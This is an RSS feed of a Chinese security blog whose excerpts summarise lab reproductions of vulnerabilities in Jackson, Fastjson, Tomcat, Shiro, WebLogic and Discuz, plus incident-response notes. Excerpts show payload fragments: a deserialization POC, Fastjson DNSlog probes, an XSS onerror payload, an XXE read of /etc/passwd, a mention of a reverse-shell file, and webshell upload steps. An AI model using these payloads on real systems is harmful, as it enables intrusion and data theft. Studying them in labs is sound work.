<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[haha1314的博客]]></title><description><![CDATA[学习，总结。学习，总结。学习，总结。]]></description><link>https://blog.youkuaiyun.com/haha13l4</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; haha13l4]]></copyright><item><title><![CDATA[jackson-cve-2019-12384]]></title><link>https://blog.youkuaiyun.com/haha13l4/article/details/107865960</link><guid>https://blog.youkuaiyun.com/haha13l4/article/details/107865960</guid><author>haha13l4</author><pubDate>Fri, 07 Aug 2020 17:00:23 +0800</pubDate><description><![CDATA[jackson-cve-2019-12384
当Jackson库对 JSON 进行反序列化的时候，存在反序列化漏洞，控制好反序列化的类，就能触发服务端请求伪造（SSRF）和远程代码执行漏洞（RCE）。
漏洞原理和分析参考：
运行漏洞环境：
git clone https://github.com/cnsimo/vu1hub.git
cd vu1hub/jackson/CVE-2019-12384-RCE/
docker-compose up -d

服务器IP：192.168.88.13
攻击机kali：1]]></description><category></category></item><item><title><![CDATA[jackson-cve-2017-7525]]></title><link>https://blog.youkuaiyun.com/haha13l4/article/details/107865727</link><guid>https://blog.youkuaiyun.com/haha13l4/article/details/107865727</guid><author>haha13l4</author><pubDate>Fri, 07 Aug 2020 16:50:02 +0800</pubDate><description><![CDATA[jackson-cve-2017-7525
加上接受的内容格式会报错


在tmp目录下面创建一个prove1.txt文件，创建文件的命令是加密的，怎么加密的我也不知道。
POC
{
  "param": [
    "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    {
      "transletBytecodes": [
  "yv66vgAAADMAKAoABAAUCQADABUHABYHABcBAAVwYXJhbQE]]></description><category></category></item><item><title><![CDATA[Fastjson]]></title><link>https://blog.youkuaiyun.com/haha13l4/article/details/107865652</link><guid>https://blog.youkuaiyun.com/haha13l4/article/details/107865652</guid><author>haha13l4</author><pubDate>Fri, 07 Aug 2020 16:44:02 +0800</pubDate><description><![CDATA[一、检测 1.2.67以下的fastjson
{"@type":“java.net.Inet4Address”,“val”:“dnslog”}
{"@type":“java.net.Inet6Address”,“val”:“dnslog”}
但是有的不成功。
二、利用
Docker搭建环境

2.1生成poc
下面文件为反弹shell，替换成这一句，dnslog检测。
String[] commands = {“ping”, “eqkkk1.dnslog.cn”};
创建一个文件，TouchFile.jav]]></description><category></category></item><item><title><![CDATA[CSRF Token Thacker 插件]]></title><link>https://blog.youkuaiyun.com/haha13l4/article/details/105711286</link><guid>https://blog.youkuaiyun.com/haha13l4/article/details/105711286</guid><author>haha13l4</author><pubDate>Thu, 23 Apr 2020 16:45:03 +0800</pubDate><description><![CDATA[1、利用awvs，csrf高级别做实验。

因为有token，每次重放之后都会跳转，不会执行成功。

2、安装CSRF Token Thacker 插件
3、配置
name：返回包的token的name。

重放成功。


...]]></description><category></category></item><item><title><![CDATA[CNVD-2020-10487-Tomcat-Ajp-lfi]]></title><link>https://blog.youkuaiyun.com/haha13l4/article/details/105688006</link><guid>https://blog.youkuaiyun.com/haha13l4/article/details/105688006</guid><author>haha13l4</author><pubDate>Wed, 22 Apr 2020 17:26:00 +0800</pubDate><description><![CDATA[#!/usr/bin/env python
#CNVD-2020-10487  Tomcat-Ajp lfi
#by ydhcui
import struct

# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
	if s is None:
		ret...]]></description><category></category></item><item><title><![CDATA[Apache-shiro反序列化]]></title><link>https://blog.youkuaiyun.com/haha13l4/article/details/105685265</link><guid>https://blog.youkuaiyun.com/haha13l4/article/details/105685265</guid><author>haha13l4</author><pubDate>Wed, 22 Apr 2020 16:57:42 +0800</pubDate><description><![CDATA[使用docker搭建环境
获取docker镜像
docker pull medicean/vulapps:s_shiro_1

重启docker
systemctl restart docker

启动docker镜像：
docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1

访问：
http://localhost:8081/ 环境搭建成功
...]]></description><category></category></item><item><title><![CDATA[XSS姿势——文件上传XSS]]></title><link>https://blog.youkuaiyun.com/haha13l4/article/details/105684509</link><guid>https://blog.youkuaiyun.com/haha13l4/article/details/105684509</guid><author>haha13l4</author><pubDate>Wed, 22 Apr 2020 16:14:06 +0800</pubDate><description><![CDATA[XSS姿势——文件上传XSS
文件上传xss，一般都是上传html文件导致存储或者反射xss，一般文件内容都是html。
1、把以下代码写入文件，后缀改成图片格式。
&lt;html&gt;
    &lt;body&gt;

    &lt;img src=1 onerror=alert(1)&gt;
    &lt;/body&gt;
&lt;/html&gt;


2、或者将后缀名改为htm...]]></description><category></category></item><item><title><![CDATA[应急响应基础笔记（二）——应急响应之Linux入侵排查]]></title><link>https://blog.youkuaiyun.com/haha13l4/article/details/103067082</link><guid>https://blog.youkuaiyun.com/haha13l4/article/details/103067082</guid><author>haha13l4</author><pubDate>Thu, 14 Nov 2019 14:40:52 +0800</pubDate><description><![CDATA[版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。            
 ...]]></description><category></category></item><item><title><![CDATA[应急响应基础笔记（一）——应急响应之Windows入侵排查]]></title><link>https://blog.youkuaiyun.com/haha13l4/article/details/103066835</link><guid>https://blog.youkuaiyun.com/haha13l4/article/details/103066835</guid><author>haha13l4</author><pubDate>Thu, 14 Nov 2019 14:32:57 +0800</pubDate><description><![CDATA[版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。            
 ...]]></description><category></category></item><item><title><![CDATA[php代码漏洞]]></title><link>https://blog.youkuaiyun.com/haha13l4/article/details/102684674</link><guid>https://blog.youkuaiyun.com/haha13l4/article/details/102684674</guid><author>haha13l4</author><pubDate>Tue, 22 Oct 2019 16:07:23 +0800</pubDate><description><![CDATA[一 代码执行函数
PHP中可以执行代码的函数。如eval()、assert()、``、system()、exec()、shell_exec()、passthru()、 escapeshellcmd()、pcntl_exec() 等
demo code 1.1:
&lt;?php
echo `dir`;
?&gt;
二 文件包含代码注射
文件包含函数在特定条件下的代码注射，如include()、in...]]></description><category></category></item><item><title><![CDATA[winrar远程代码执行漏洞（CVE-2018-2025）]]></title><link>https://blog.youkuaiyun.com/haha13l4/article/details/100068932</link><guid>https://blog.youkuaiyun.com/haha13l4/article/details/100068932</guid><author>haha13l4</author><pubDate>Sun, 25 Aug 2019 22:39:34 +0800</pubDate><description><![CDATA[2019 年 2 月 20 日 Check Point团队爆出了一个关于WinRAR存在19年的漏洞，用它来可以获得受害者计算机的控制。攻击者只需利用此漏洞构造恶意的压缩文件，当受害者使用WinRAR解压该恶意文件时便会触发漏洞。
WinRAR 代码执行相关的 CVE 编号如下： CVE-2018-20250, CVE-2018-20251, CVE-2018-20252,CVE-2018-202...]]></description><category></category></item><item><title><![CDATA[Discuz 7.x/6.x 代码执行]]></title><link>https://blog.youkuaiyun.com/haha13l4/article/details/99101108</link><guid>https://blog.youkuaiyun.com/haha13l4/article/details/99101108</guid><author>haha13l4</author><pubDate>Sat, 10 Aug 2019 19:11:51 +0800</pubDate><description><![CDATA[Discuz 7.x/6.x 全局变量防御绕过导致代码执行
由于php5.3.x版本里php.ini的设置里request_order默认值为GP，导致$_REQUEST中不再包含$_COOKIE，我们通过在Cookie中传入$GLOBALS来覆盖全局变量，造成代码执行漏洞。
漏洞复现
安装成功后，直接找一个已存在的帖子，向其发送数据包，并在Cookie中增加GLOBALS[_DCACHE][sm...]]></description><category></category></item><item><title><![CDATA[weblogic后台上传webshell]]></title><link>https://blog.youkuaiyun.com/haha13l4/article/details/99100264</link><guid>https://blog.youkuaiyun.com/haha13l4/article/details/99100264</guid><author>haha13l4</author><pubDate>Sat, 10 Aug 2019 19:02:54 +0800</pubDate><description><![CDATA[后台上传webshell
获取到管理员密码后，登录后台。点击左侧的部署，可见一个应用列表：
点击安装，选择“上载文件”：
上传war包。值得注意的是，我们平时tomcat用的war包不一定能够成功，你可以将你的webshell放到本项目的web/hello.war这个压缩包中，再上传。上传成功后点下一步。
填写应用名称：
继续一直下一步，最后点完成。
应用目录在war包中WEB-INF/weblo...]]></description><category></category></item><item><title><![CDATA[Weblogic的SSRF漏洞]]></title><link>https://blog.youkuaiyun.com/haha13l4/article/details/99099441</link><guid>https://blog.youkuaiyun.com/haha13l4/article/details/99099441</guid><author>haha13l4</author><pubDate>Sat, 10 Aug 2019 18:54:43 +0800</pubDate><description><![CDATA[Weblogic中存在一个SSRF漏洞，利用该漏洞可以发送任意HTTP请求，进而攻击内网中redis、fastcgi等脆弱组件。
漏洞产生于/uddiexplorer/SearchPublicRegistries.jsp页面中，可以导致ssrf，用来攻击内网中一些redis和fastcgi之类的脆弱组件
/uddiexplorer/SearchPublicRegistries.jsp?rdoSea...]]></description><category></category></item><item><title><![CDATA[Weblogic 任意文件上传漏洞（CVE-2018-2894）]]></title><link>https://blog.youkuaiyun.com/haha13l4/article/details/99098373</link><guid>https://blog.youkuaiyun.com/haha13l4/article/details/99098373</guid><author>haha13l4</author><pubDate>Sat, 10 Aug 2019 18:44:21 +0800</pubDate><description><![CDATA[Weblogic 任意文件上传漏洞（CVE-2018-2894）
Oracle 7月更新中，修复了Weblogic Web Service Test Page中一处任意文件上传漏洞，Web Service Test Page 在“生产模式”下默认不开启，所以该漏洞有一定限制。
利用该漏洞，可以上传任意jsp文件，进而获取服务器权限。
访问http://your-ip:7001/ws_utc/con...]]></description><category></category></item><item><title><![CDATA[symfonos靶机]]></title><link>https://blog.youkuaiyun.com/haha13l4/article/details/99098043</link><guid>https://blog.youkuaiyun.com/haha13l4/article/details/99098043</guid><author>haha13l4</author><pubDate>Sat, 10 Aug 2019 18:40:08 +0800</pubDate><description><![CDATA[一、	信息收集
存活主机

开放端口


Enum4linux

猜测aeolus可能为用户名

尝试爆破：sergioteamo

登陆

4
转到msf里面




在检查网络相关信息时，发现可疑之处，靶机一直监听其本机的8080端口，且只允许来自靶机自身的连接

这里自然想到利用端口转发，此处利用portfwd端口转发/重定向工具，其集成到metasploit内，

然后访问自己的9000端...]]></description><category></category></item><item><title><![CDATA[XXE靶机]]></title><link>https://blog.youkuaiyun.com/haha13l4/article/details/99097024</link><guid>https://blog.youkuaiyun.com/haha13l4/article/details/99097024</guid><author>haha13l4</author><pubDate>Sat, 10 Aug 2019 18:31:45 +0800</pubDate><description><![CDATA[一、	收集信息
存活主机

开放端口




存在注入
Post包里面添加
&lt;?xml version=“1.0″ encoding=“UTF-8″?&gt;
&lt;!DOCTYPE r [
&lt;!ELEMENT r ANY &gt;
&lt;!ENTITY admin SYSTEM "file:///etc/passwd"&gt;
  ]&gt;
 &lt;root&gt;&lt;n...]]></description><category></category></item><item><title><![CDATA[Tomcat PUT方法任意写文件漏洞（CVE-2017-12615）]]></title><link>https://blog.youkuaiyun.com/haha13l4/article/details/97232193</link><guid>https://blog.youkuaiyun.com/haha13l4/article/details/97232193</guid><author>haha13l4</author><pubDate>Thu, 25 Jul 2019 08:36:14 +0800</pubDate><description><![CDATA[Tomcat PUT方法任意写文件漏洞（CVE-2017-12615）
Tomcat版本：8.5.19
Apache Tomcat 7.0.0 - 7.0.79
漏洞本质Tomcat配置了可写（readonly=false），导致我们可以往服务器写文件：
&lt;servlet&gt;
    &lt;servlet-name&gt;default&lt;/servlet-name&gt;
   ...]]></description><category></category></item><item><title><![CDATA[脏牛提权（cve-2016-5159）]]></title><link>https://blog.youkuaiyun.com/haha13l4/article/details/96913574</link><guid>https://blog.youkuaiyun.com/haha13l4/article/details/96913574</guid><author>haha13l4</author><pubDate>Mon, 22 Jul 2019 23:33:31 +0800</pubDate><description><![CDATA[漏洞范围：
大于2.6.22版本  (2007年发行，到2016年10月18日修复)
危害：
低权限的用户可利用这一漏洞在本地进行提权
原理：
linux内核的子系统在处理写入时复制至产生了竞争条件，恶意用户可利用此漏洞来获取高权限，对只读内存映射进行访问。
竞争条件，指的是任务执行顺序异常，可导致应用奔溃，或令攻击者有机可乘，进一步执行其他代码，利用这一漏洞，攻击者可在其目标系统提升权限，甚至可...]]></description><category></category></item><item><title><![CDATA[python版本切换]]></title><link>https://blog.youkuaiyun.com/haha13l4/article/details/96757501</link><guid>https://blog.youkuaiyun.com/haha13l4/article/details/96757501</guid><author>haha13l4</author><pubDate>Sun, 21 Jul 2019 20:25:40 +0800</pubDate><description><![CDATA[本篇博文面向Linux用户，在Linux下(Ubuntu)下测试通过，Win用户嘛，……
0x00 为什么需要有两个版本的Python
Python2和Python3不兼容是每个接触过Python的开发者都知道的事，虽说Python3是未来，但是仍然有很多项目采用Python2开发。Linux的许多发行版本(如Ubuntu)都会自带Python2.7，但是当我们准备开发一个Python3项目的时候...]]></description><category></category></item></channel></rss>